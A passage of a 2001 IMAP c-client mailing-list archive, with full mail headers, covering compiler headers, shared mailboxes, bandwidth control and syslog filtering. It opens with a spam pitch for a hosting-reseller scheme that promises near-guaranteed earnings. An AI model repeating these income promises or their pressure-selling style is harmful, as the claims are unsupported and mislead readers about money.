Private Labeled to me WebMail and Pop3 Service Private Labeled to me Secure Server Hosting Private Labeled to me Domain Name Registration Private Labeled to me Search Engine Submission Private Labeled to me Control Panel for FTP, email, user access... I can make as many new templates as I like to start them out from too. I also never have to pay for custom CGI work to provide E-Commerce solutions anymore. It is all done for me already, even the payment gateway integration. I use the same service my end-users use to do design work and It has cut my design time in more than half. I can make a complete E-Commerce enabled site in 15-30 minutes, email, shopping cart, ftp, running on the net! Can you do that?? Long story short. Unless you have some plans I don't know about, My business will be beating yours for sure in about 12 months. Can you compete? Are you getting customers as fast as I am? Are you making as much on them as I am? Is that money you are making staying with you every month? Is there a way for you to provide my customers something I don't? Can you say the same for yourself? I am going to let you in on SECRET now. Even though I know that my business will most likely be making a lot more than yours in 12 months, I am not greedy. I know that BIG money is not in being greedy. I know that No matter how much money my design company makes next year, If I combined 4-5 heavy hitters in the industry they would best me. How can I beat that? Easy. Use my connection with the company that made me what I am, and enabled me to do things that no other design companies could do. I am best friends with the president of the company that designed all the amazing server side software I use to power my business, and I know that if he wanted to, he could start turning on every webdesign company in the world as a dealer if they saw what I was making. So, instead of trying to convince him to not show anyone else the software I use to make so much money (impossible.) I figured out that the best thing for me to team up with him, show other people how I was making all the money that I was, and get cut in on the deal. Long story short. I am making a ton of money retailing my E-Commerce Solution, and I love it. Now that I have tasted that success, I have decided to take it to the next level, and give others the same ability to make that same money I do. I can get you in with the company that I deal with that provided me with all of those amazing things that make my service so awesome. My reward: If I introduce even a few people to my supplier so to speak. And those people become even half as successful with it as I have, I can have my buy rate reduced even further below $10 a month (which is already insanely cheap if you haven't noticed) Your reward: If you will probably be making even more money retailing it than I am. All I am doing is driving traffic to my website, people signup. You probably already have a customer base underneath you that would love the product, and are more likely to offer the custom design work than I. I don't do flash, and I don't even advertise on my site that I do custom design work at all. You know, I'll tell you the truth, this interface is so easy that anyone could do it. HTML knowledge or not, really anyone can be a full Design/Hosting/E-Commerce solution provider with this. They even will bill your customers for free for you. Saved me the trouble of getting another merchant account to accept credit cards for this. I paid over $2000 for the privledge of being able to do what I do. I am extremely happy about that because I know people who have paid over $7,000 to do the same. The ball game has changed though. They want to bring on successful dealers like me NOW. And to make this easier, they have dropped the pricing to $99, $299, or $999 depending on how good you want your buy rates. At $999 they are even eating the setup fees ($10 gets your customer a free domain name, and first month). Since I know how powerful a sales tool my website is, and I want everyone I bring on to be as successful as possible, I will even give you a copy of my website (customized to look like you invented it though) hosted for free to sell from. I know it works because I get signups every day. Then you are almost guaranteed to make a ton of money with it, as long as you get traffic to it. If you want to see some of the sites built by my solution, the site I have great success selling from, or how I make all the money I do with it, and how you can to, or to show awesome the software is to use, call me or email me. 1-888-549-0766 or 1-954-585-6460 This week only. Monday-Saturday 11-7 EST. If you do not wish to receive email from me, email: webmaster0273@yahoo.com (anything that goes here gets removed) or call. From pinedev@shivax2.cac.washington.edu Sun Oct 7 23:27:22 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 7 Oct 2001 23:27:21 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f986RKF31041 for ; Sun, 7 Oct 2001 23:27:20 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Sun Oct 07 23:27:05 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f986R5H22810; Sun, 7 Oct 2001 23:27:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f986QU014980; Sun, 7 Oct 2001 23:26:30 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f986NqN56822 for ; Sun, 7 Oct 2001 23:23:53 -0700 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Sun Oct 07 23:23:52 2001 -0700 Received: from hotmail.com (f169.law9.hotmail.com [64.4.9.169]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f986Nqw23523 for ; Sun, 7 Oct 2001 23:23:52 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 7 Oct 2001 23:23:49 -0700 Received: from 210.214.3.112 by lw9fd.law9.hotmail.msn.com with HTTP; Mon, 08 Oct 2001 06:23:48 GMT Message-Id: Date: Mon, 08 Oct 2001 11:53:48 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Nazer Mohideen" To: c-client@u.washington.edu Subject: Win programming in TURBO C++ Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [210.214.3.112] X-OriginalArrivalTime: 08 Oct 2001 06:23:49.0095 (UTC) FILETIME=[CAB0C770:01C14FC1] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hy every body, I have turbo C++ compiler. I need to do win programming in it. For that i am in need of the header files. Can any one of you, say me how to buy it or beg it or steal it. I just have the basic header files. With regards Nazer _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 8 00:25:24 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Oct 2001 00:25:23 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f987PKF15365 for ; Mon, 8 Oct 2001 00:25:21 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Oct 08 00:22:48 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f987MmH23983; Mon, 8 Oct 2001 00:22:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f987ML927932; Mon, 8 Oct 2001 00:22:21 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9871uN104698 for ; Mon, 8 Oct 2001 00:01:57 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Oct 08 00:01:52 2001 -0700 Received: from tick.lymenet.org ([207.207.212.10]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9871pw29784 for ; Mon, 8 Oct 2001 00:01:51 -0700 Received: from proft.org (rdu57-85-031.nc.rr.com [66.57.85.31]) by tick.lymenet.org (8.11.6/8.11.6) with ESMTP id f9871o015084 for ; Mon, 8 Oct 2001 03:01:50 -0400 (EDT) Message-Id: <3BC14F5E.BDC50A7D@proft.org> Date: Mon, 08 Oct 2001 03:01:50 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Thomas Brown To: c-client@u.washington.edu Subject: Re: Win programming in TURBO C++ References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en,pdf X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN First we are spammed with web design advertising from central.brueggemann.de, now we have questions about hacking old C compilers, both unrelated to the IMAP c-client. Can anyone say, "moderated list"? Forgive me, for I do realize that this message in itself is perhaps spam... -Tom Nazer Mohideen wrote: > > Hy every body, > > I have turbo C++ compiler. I need to do win programming in it. For that i > am in need of the header files. Can any one of you, say me how to buy it or > beg it or steal it. I just have the basic header files. > > With regards > Nazer > > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Oct 8 05:15:59 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Oct 2001 05:15:59 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f98CFvF06263 for ; Mon, 8 Oct 2001 05:15:58 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Oct 08 05:15:25 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f98CFPL28047; Mon, 8 Oct 2001 05:15:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f98CFC928026; Mon, 8 Oct 2001 05:15:12 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f98CEBN72244 for ; Mon, 8 Oct 2001 05:14:12 -0700 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Mon Oct 08 05:14:11 2001 -0700 Received: from klepto.isrd.net (root@klepto.isrd.net [206.205.246.48]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f98CEAw04217 for ; Mon, 8 Oct 2001 05:14:11 -0700 Received: from localhost (kevin@localhost) by klepto.isrd.net (8.11.4/8.11.4) with ESMTP id f98CNKB07296 for ; Mon, 8 Oct 2001 08:23:20 -0400 Message-Id: Date: Mon, 8 Oct 2001 08:23:20 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Kevin Dwyer To: c-client@u.washington.edu Subject: Re: Win programming in TURBO C++ In-Reply-To: <3BC14F5E.BDC50A7D@proft.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: klepto.isrd.lan: kevin owned process doing -bs X-X-Sender: kevin@klepto.isrd.lan X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 8 Oct 2001, Thomas Brown grunted something like: [twb0] First we are spammed with web design advertising from [twb0] central.brueggemann.de, now we have questions about hacking old C [twb0] compilers, [twb0] both unrelated to the IMAP c-client. Can anyone say, "moderated list"? [twb0] [twb0] Forgive me, for I do realize that this message in itself is perhaps [twb0] spam... [twb0] [twb0] -Tom Tom, while I agree these annoyances are unnecessary, I think moderated lists take away from the usefulness of the list, while adding overhead for the list's maintainer. If this is majordomo (I quite honestly can't recall) I know you can set it up such that only people who have subscribed can post to the list, which would hope to keep out the spam. Though, you can't do anything about people looking for warezed copies of Photoshop or in this case header files. ;) /* Kevin Dwyer */ /* Network Security Engineer -=- Intermedia Communications */ From pinedev@shivax2.cac.washington.edu Mon Oct 8 09:42:27 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Oct 2001 09:42:25 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f98GgOF18606 for ; Mon, 8 Oct 2001 09:42:24 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Oct 08 09:42:11 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f98GgBL02755; Mon, 8 Oct 2001 09:42:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f98GfuZ14710; Mon, 8 Oct 2001 09:41:56 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f98GemN48864 for ; Mon, 8 Oct 2001 09:40:48 -0700 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Oct 08 09:40:47 2001 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rogue@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f98GelU24249 for ; Mon, 8 Oct 2001 09:40:47 -0700 Message-Id: Date: Mon, 8 Oct 2001 09:29:25 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nazer Mohideen Cc: c-client@u.washington.edu Subject: re: Win programming in TURBO C++ In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 08 Oct 2001 11:53:48 +0530, Nazer Mohideen wrote: > I have turbo C++ compiler. I need to do win programming in it. For that i > am in need of the header files. Can any one of you, say me how to buy it or > beg it or steal it. I just have the basic header files. Yes. It is very easy to buy those header files. Walk to your nearest computer store. Ask them for "Microsoft Visual C++ 6.0". They will hand you a box, you will hand them some money. Next, you delete Turbo C++ and install Visual C++. Finally, if you want to build c-client with this, you need to get a copy of the Microsoft Windows 2000 SDK, since you need the Platform SDK files. The above simple procedures are both easier and cheaper than trying to get an ancient compiler like Turbo C++. We're talking a few hundred dollars vs. many, many hours of work. From pinedev@shivax2.cac.washington.edu Mon Oct 8 10:48:12 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Oct 2001 10:48:11 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f98Hm9F11329 for ; Mon, 8 Oct 2001 10:48:10 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Oct 08 10:47:52 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f98HlqH07053; Mon, 8 Oct 2001 10:47:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f98HlY928138; Mon, 8 Oct 2001 10:47:34 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f98HZYN72562 for ; Mon, 8 Oct 2001 10:35:41 -0700 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Oct 08 10:35:32 2001 -0700 Received: from axsmarine.com ([212.234.111.129]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f98HZUu01438 for ; Mon, 8 Oct 2001 10:35:31 -0700 Received: (from httpd@localhost) by axsmarine.com (8.11.0/8.11.0) id f98HUIh23838; Mon, 8 Oct 2001 19:30:18 +0200 Received: from 192.168.2.12 (SquirrelMail authenticated user abyoussef) by axsmarine.com with HTTP; Mon, 8 Oct 2001 19:30:18 +0200 (CEST) Message-Id: <18247.192.168.2.12.1002562218.squirrel@axsmarine.com> Date: Mon, 8 Oct 2001 19:30:18 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: To: Cc: Subject: Re: sharing mailbox between few users In-Reply-To: <18234.192.168.2.12.1002562166.squirrel@axsmarine.com> References: <18234.192.168.2.12.1002562166.squirrel@axsmarine.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Authentication-Warning: axsmarine.com: httpd set sender to abyoussef@axsmarine.com using -f X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Could we share mailboxes between some users and others mailboxs between other users. > My aim is to have a common mailbox to a group of users of my system. > Adnane. From pinedev@shivax2.cac.washington.edu Tue Oct 9 01:15:19 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Oct 2001 01:15:18 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f998FHF21227 for ; Tue, 9 Oct 2001 01:15:17 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Oct 09 01:15:06 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f998F6L01587; Tue, 9 Oct 2001 01:15:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f998El009922; Tue, 9 Oct 2001 01:14:48 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f998CMN91930 for ; Tue, 9 Oct 2001 01:12:22 -0700 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Oct 09 01:12:18 2001 -0700 Received: from ulysses.noc.ntua.gr (ulysses.noc.ntua.gr [147.102.222.230]) by mxu1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f998CGw06577 for ; Tue, 9 Oct 2001 01:12:17 -0700 Received: from dblab.ece.ntua.gr (ithaca.dbnet.ece.ntua.gr [147.102.12.1]) by ulysses.noc.ntua.gr (8.11.6/8.11.6) with ESMTP id f998CET52501; Tue, 9 Oct 2001 11:12:14 +0300 (EEST) Received: (from george@localhost) by dblab.ece.ntua.gr (8.11.6/8.11.6) id f998NZQ95421; Tue, 9 Oct 2001 11:23:35 +0300 (EEST) (envelope-from adamo) Message-Id: <20011009112335.A95360@dblab.ece.ntua.gr> Date: Tue, 9 Oct 2001 11:23:35 +0300 Reply-To: adamo@dblab.ece.ntua.gr Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: Raul Dias Cc: c-client@u.washington.edu Subject: Re: controlling bandwidth usage In-Reply-To: <200110031428.f93ESCg23723@stratus.swi.com.br>; from chaos@swi.com.br on Wed, Oct 03, 2001 at 11:28:12AM -0300 References: <200110031428.f93ESCg23723@stratus.swi.com.br> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-URL: http://home.eu.org/~adamo X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, Oct 03, 2001 at 11:28:12AM -0300, Raul Dias wrote: > Is there something about controlling bandwidth in imap/pop3 server? > docs, patchs, ideas. Anything is welcomed. Depending on the operating system that you use, you can do some traffic shaping magic. But it is OS depended. --adamo From pinedev@shivax2.cac.washington.edu Tue Oct 9 15:41:40 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Oct 2001 15:41:37 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f99MfaF19619 for ; Tue, 9 Oct 2001 15:41:36 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Tue Oct 09 15:38:54 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f99McsH00387; Tue, 9 Oct 2001 15:38:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f99McW033554; Tue, 9 Oct 2001 15:38:32 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f99MXLN116272 for ; Tue, 9 Oct 2001 15:33:21 -0700 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Oct 09 15:33:21 2001 -0700 Received: from toadophile.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f99MXKU20878 for ; Tue, 9 Oct 2001 15:33:20 -0700 Received: from [192.168.1.101] ([66.122.112.171]) by toadophile.com (8.10.2/8.10.2) with ESMTP id f99MXJB05843 for ; Tue, 9 Oct 2001 15:33:19 -0700 (PDT) Message-Id: Date: Tue, 09 Oct 2001 15:33:17 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: Subject: Remedial syslogd question Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Sorry for the remedial nature of this question, but I haven't been able to find a good answer after some searching and manpage reading. I have this line in /etc/syslog.conf -- *.notice;*.info;authpriv,remoteauth,ftp.none;kern.debug;mail.crit /var/log/system.log The *.notice is causing imapd and ipopd messages to get logged to /var/log/system.log and I want them not to be. I am routing them to a separate file to keep things tidy. Can someone recommend a good way to configure syslogd to continue its *.notice behavior (this is the default with Mac OSX) with the exception of imapd-related .notice messages? Thanks a lot. -- Mark Edwards Engineer Mr. Toad's San Francisco -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 10 08:19:34 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Oct 2001 08:19:19 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9AFJIF13370 for ; Wed, 10 Oct 2001 08:19:18 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Oct 10 08:19:05 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9AFJ5H24269; Wed, 10 Oct 2001 08:19:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9AFId033662; Wed, 10 Oct 2001 08:18:39 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9AFEwN89202 for ; Wed, 10 Oct 2001 08:14:58 -0700 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Oct 10 08:14:57 2001 -0700 Received: from gifw.genroco.com (genroco.com [205.254.195.202]) by mxu2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9AFEuu02985 for ; Wed, 10 Oct 2001 08:14:56 -0700 Received: from gi2.genroco.com (IDENT:root@gi2.genroco.com [192.133.120.3]) by gifw.genroco.com (8.9.3/8.9.3) with ESMTP id KAA07577; Wed, 10 Oct 2001 10:14:54 -0500 Received: from scot.genroco.com (scot.genroco.com [192.133.120.125]) by gi2.genroco.com (8.9.3/8.9.3) with SMTP id KAA31928; Wed, 10 Oct 2001 10:14:52 -0500 Message-Id: <000d01c1519e$5026fea0$7d7885c0@genroco.com> Date: Wed, 10 Oct 2001 10:14:51 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Scot W. Hetzel" To: "Mark Edwards" , Subject: Re: Remedial syslogd question References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN From: "Mark Edwards" > Sorry for the remedial nature of this question, but I haven't been able to > find a good answer after some searching and manpage reading. > > I have this line in /etc/syslog.conf -- > > *.notice;*.info;authpriv,remoteauth,ftp.none;kern.debug;mail.crit > /var/log/system.log > > > The *.notice is causing imapd and ipopd messages to get logged to > /var/log/system.log and I want them not to be. I am routing them to a > separate file to keep things tidy. > > Can someone recommend a good way to configure syslogd to continue its > *.notice behavior (this is the default with Mac OSX) with the exception of > imapd-related .notice messages? > Try adding the following to syslog.conf: !imapd *.* /var/log/imapd.log !pop3d *.* /var/log/pop3d.log Scot From pinedev@shivax2.cac.washington.edu Wed Oct 10 09:20:25 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Oct 2001 09:20:24 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9AGKNF16081 for ; Wed, 10 Oct 2001 09:20:23 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Oct 10 09:20:19 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9AGKIL22781; Wed, 10 Oct 2001 09:20:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9AGJxD09466; Wed, 10 Oct 2001 09:19:59 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9AGGfN24848 for ; Wed, 10 Oct 2001 09:16:41 -0700 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Oct 10 09:16:41 2001 -0700 Received: from toadophile.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9AGGeU04234 for ; Wed, 10 Oct 2001 09:16:40 -0700 Received: from localhost ([64.130.38.189]) by toadophile.com (8.10.2/8.10.2) with ESMTP id f9AGGbb03371; Wed, 10 Oct 2001 09:16:37 -0700 (PDT) Message-Id: <2F1BFBD7-BD9A-11D5-9775-000A278CC960@mrtoads.com> Date: Wed, 10 Oct 2001 09:16:39 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: "Scot W. Hetzel" Cc: Subject: Re: Remedial syslogd question In-Reply-To: <000d01c1519e$5026fea0$7d7885c0@genroco.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v472) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Actually, I just added "local2.none" to the original line and that works. Thanks for the suggestion though. On Wednesday, October 10, 2001, at 08:14 AM, Scot W. Hetzel wrote: > Try adding the following to syslog.conf: > > !imapd > *.* /var/log/imapd.log > !pop3d > *.* /var/log/pop3d.log > > Scot > -- Mark Edwards San Francisco, CA MarkEdwards@mac.com From pinedev@shivax2.cac.washington.edu Wed Oct 10 10:24:29 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Oct 2001 10:24:26 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with SMTP id f9AHOOF22313 for ; Wed, 10 Oct 2001 10:24:24 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Oct 10 10:22:46 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.6+UW01.08/8.11.6+UW01.08) with ESMTP id f9AHMkL25275; Wed, 10 Oct 